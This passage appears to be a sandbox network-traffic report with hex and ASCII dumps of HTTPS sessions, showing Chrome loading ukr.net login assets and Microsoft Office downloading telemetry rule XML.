2024-10-26 11:49:05 UTC	2398	IN	Data Raw: 36 2e 32 39 37 20 30 20 30 20 30 2d 35 2e 37 38 36 2d 34 2e 31 37 34 63 2d 32 2e 38 36 36 2d 31 2e 37 34 2d 35 2e 36 34 35 2d 32 2e 39 35 32 2d 38 2e 32 30 34 2d 33 2e 34 34 39 6c 2d 2e 30 33 2d 2e 30 30 35 2e 30 33 35 2e 31 2e 30 39 35 2e 32 37 38 2e 31 2e 32 39 34 63 2e 33 38 37 20 31 2e 31 34 38 2e 37 39 20 32 2e 33 39 32 20 31 2e 31 38 36 20 33 2e 36 38 38 61 31 30 37 20 31 30 37 20 30 20 30 20 31 20 31 2e 34 31 38 20 35 2e 30 33 63 31 2e 36 37 33 20 36 2e 36 30 34 20 31 2e 39 31 39 20 31 30 2e 36 2d 2e 31 36 20 31 31 2e 31 39 39 2d 31 2e 32 37 32 2e 33 36 37 2d 32 2e 32 37 31 2d 2e 39 31 2d 33 2e 31 39 35 2d 33 2e 34 32 33 2d 2e 37 31 36 2d 31 2e 39 34 37 2d 31 2e 33 38 35 2d 34 2e 36 36 34 2d 32 2e 30 30 38 2d 37 2e 39 36 35 2d 2e 35 36 2d 32 2e 39 Data Ascii: 6.297 0 0 0-5.786-4.174c-2.866-1.74-5.645-2.952-8.204-3.449l-.03-.005.035.1.095.278.1.294c.387 1.148.79 2.392 1.186 3.688a107 107 0 0 1 1.418 5.03c1.673 6.604 1.919 10.6-.16 11.199-1.272.367-2.271-.91-3.195-3.423-.716-1.947-1.385-4.664-2.008-7.965-.56-2.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49756	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	497	OUT	GET /login/assets/illustration-2fa-02329941.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:05 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Type: image/svg+xml Content-Length: 10286 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-282e" Expires: Sat, 09 Nov 2024 11:49:05 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:05 UTC	10286	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 64 30 64 33 64 37 22 20 64 3d 22 4d 32 35 35 2e 37 33 35 20 31 38 31 68 39 34 2e 36 37 33 61 33 20 33 20 30 20 30 20 31 20 32 2e 39 35 32 20 33 2e 35 33 35 4c 33 33 38 2e 36 30 35 20 32 36 36 48 32 33 37 6c 31 34 2e 38 2d 38 31 2e 37 31 33 61 34 20 34 20 30 20 30 20 31 20 33 2e 39 33 35 2d 33 2e 32 38 37 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 32 35 39 2e 39 31 33 20 31 38 37 68 38 32 2e Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><path fill="#d0d3d7" d="M255.735 181h94.673a3 3 0 0 1 2.952 3.535L338.605 266H237l14.8-81.713a4 4 0 0 1 3.935-3.287"/><path fill="#fff" d="M259.913 187h82.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49759	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	491	OUT	GET /login/js/pow-worker-wasm.js?ab3ac7fc HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:06 UTC	346	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Type: application/javascript Content-Length: 53526 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-d116" Expires: Sat, 09 Nov 2024 11:49:05 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:06 UTC	16038	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 5f 5f 77 65 62 70 61 63 6b 5f 6d 6f 64 75 6c 65 73 5f 5f 3d 7b 32 34 31 33 3a 28 6d 6f 64 75 6c 65 2c 5f 5f 75 6e 75 73 65 64 5f 77 65 62 70 61 63 6b 5f 65 78 70 6f 72 74 73 2c 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 29 3d 3e 7b 76 61 72 20 50 4f 57 3d 66 75 6e 63 74 69 6f 6e 28 50 4f 57 29 7b 50 4f 57 3d 50 4f 57 7c 7c 7b 7d 3b 76 61 72 20 4d 6f 64 75 6c 65 3d 50 4f 57 2c 4d 6f 64 75 6c 65 3b 4d 6f 64 75 6c 65 7c 7c 28 4d 6f 64 75 6c 65 3d 28 76 6f 69 64 20 30 21 3d 3d 50 4f 57 3f 50 4f 57 3a 6e 75 6c 6c 29 7c 7c 7b 7d 29 3b 76 61 72 20 6d 6f 64 75 6c 65 4f 76 65 72 72 69 64 65 73 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 6b 65 79 20 69 6e 20 4d 6f 64 75 6c 65 29 4d 6f 64 75 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 Data Ascii: (()=>{var __webpack_modules__={2413:(module,__unused_webpack_exports,__webpack_require__)=>{var POW=function(POW){POW=POW\|\|{};var Module=POW,Module;Module\|\|(Module=(void 0!==POW?POW:null)\|\|{});var moduleOverrides={};for(var key in Module)Module.hasOwnProp
2024-10-26 11:49:06 UTC	16384	IN	Data Raw: 74 69 6d 65 49 6e 69 74 69 61 6c 69 7a 65 64 3d 21 31 2c 72 75 6e 74 69 6d 65 45 78 69 74 65 64 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 70 72 65 52 75 6e 28 29 7b 69 66 28 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 29 66 6f 72 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 26 26 28 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 3d 5b 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 5d 29 3b 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 2e 6c 65 6e 67 74 68 3b 29 61 64 64 4f 6e 50 72 65 52 75 6e 28 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 2e 73 68 69 66 74 28 29 29 3b 63 61 6c 6c 52 75 6e 74 69 6d 65 43 61 6c 6c 62 61 63 6b 73 28 5f 5f 41 54 50 52 45 52 55 4e 5f 5f 29 7d 66 75 6e 63 74 69 6f 6e 20 65 6e 73 75 72 65 49 6e 69 74 52 75 6e Data Ascii: timeInitialized=!1,runtimeExited=!1;function preRun(){if(Module.preRun)for("function"==typeof Module.preRun&&(Module.preRun=[Module.preRun]);Module.preRun.length;)addOnPreRun(Module.preRun.shift());callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRun
2024-10-26 11:49:06 UTC	16384	IN	Data Raw: 72 20 6e 3d 5b 5d 2c 74 3d 7b 7d 3b 74 68 72 6f 77 20 72 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 20 65 28 72 29 7b 74 5b 72 5d 7c 7c 72 65 67 69 73 74 65 72 65 64 54 79 70 65 73 5b 72 5d 7c 7c 28 74 79 70 65 44 65 70 65 6e 64 65 6e 63 69 65 73 5b 72 5d 3f 74 79 70 65 44 65 70 65 6e 64 65 6e 63 69 65 73 5b 72 5d 2e 66 6f 72 45 61 63 68 28 65 29 3a 28 6e 2e 70 75 73 68 28 72 29 2c 74 5b 72 5d 3d 21 30 29 29 7d 29 29 2c 6e 65 77 20 55 6e 62 6f 75 6e 64 54 79 70 65 45 72 72 6f 72 28 65 2b 22 3a 20 22 2b 6e 2e 6d 61 70 28 67 65 74 54 79 70 65 4e 61 6d 65 29 2e 6a 6f 69 6e 28 5b 22 2c 20 22 5d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 5f 65 6d 62 69 6e 64 5f 72 65 67 69 73 74 65 72 5f 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 6e 2c 74 2c 69 2c 6f 29 7b Data Ascii: r n=[],t={};throw r.forEach((function e(r){t[r]\|\|registeredTypes[r]\|\|(typeDependencies[r]?typeDependencies[r].forEach(e):(n.push(r),t[r]=!0))})),new UnboundTypeError(e+": "+n.map(getTypeName).join([", "]))}function __embind_register_function(e,r,n,t,i,o){
2024-10-26 11:49:06 UTC	4720	IN	Data Raw: 69 61 6c 69 7a 65 72 52 65 71 75 65 73 74 2e 72 65 73 70 6f 6e 73 65 2c 72 65 6d 6f 76 65 52 75 6e 44 65 70 65 6e 64 65 6e 63 79 28 22 6d 65 6d 6f 72 79 20 69 6e 69 74 69 61 6c 69 7a 65 72 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 64 6f 42 72 6f 77 73 65 72 4c 6f 61 64 28 29 7b 4d 6f 64 75 6c 65 2e 72 65 61 64 41 73 79 6e 63 28 6d 65 6d 6f 72 79 49 6e 69 74 69 61 6c 69 7a 65 72 2c 61 70 70 6c 79 4d 65 6d 6f 72 79 49 6e 69 74 69 61 6c 69 7a 65 72 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 22 63 6f 75 6c 64 20 6e 6f 74 20 6c 6f 61 64 20 6d 65 6d 6f 72 79 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 22 2b 6d 65 6d 6f 72 79 49 6e 69 74 69 61 6c 69 7a 65 72 7d 29 29 7d 69 66 28 4d 6f 64 75 6c 65 2e 6d 65 6d 6f 72 79 49 6e 69 74 69 61 6c 69 7a 65 72 52 65 71 Data Ascii: ializerRequest.response,removeRunDependency("memory initializer")};function doBrowserLoad(){Module.readAsync(memoryInitializer,applyMemoryInitializer,(function(){throw"could not load memory initializer "+memoryInitializer}))}if(Module.memoryInitializerReq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49758	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	661	OUT	GET /login/assets/illustration-dark-mode-2281edaa.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:05 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Type: image/svg+xml Content-Length: 9906 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-26b2" Expires: Sat, 09 Nov 2024 11:49:05 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:05 UTC	9906	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 36 33 2e 31 36 31 20 34 35 35 2e 35 48 35 39 7a 4d 34 34 34 20 34 35 35 2e 35 48 33 33 39 2e 38 33 39 7a 22 2f 3e 3c 2f 67 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 3e 3c 70 61 74 68 20 64 3d 22 4d 35 36 35 2e 34 34 37 20 33 37 32 2e 37 38 38 63 33 2e 37 36 33 20 31 2e 31 34 39 20 37 2e 36 32 33 20 32 2e 36 32 20 39 2e 33 37 20 34 2e 32 30 31 20 30 20 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M163.161 455.5H59zM444 455.5H339.839z"/></g><g stroke="#9ba1a9"><path d="M565.447 372.788c3.763 1.149 7.623 2.62 9.37 4.201 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49760	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:06 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:06 UTC	561	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:06 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 25 Oct 2024 11:03:28 GMT ETag: "0x8DCF4E4A7F3A397" x-ms-request-id: 52d5a461-501e-00a0-17e5-269d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114906Z-16849878b78bcpfn2qf7sm6hsn00000003f000000000ekpk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:06 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-26 11:49:06 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-26 11:49:06 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-26 11:49:06 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-26 11:49:06 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-26 11:49:06 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-26 11:49:06 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
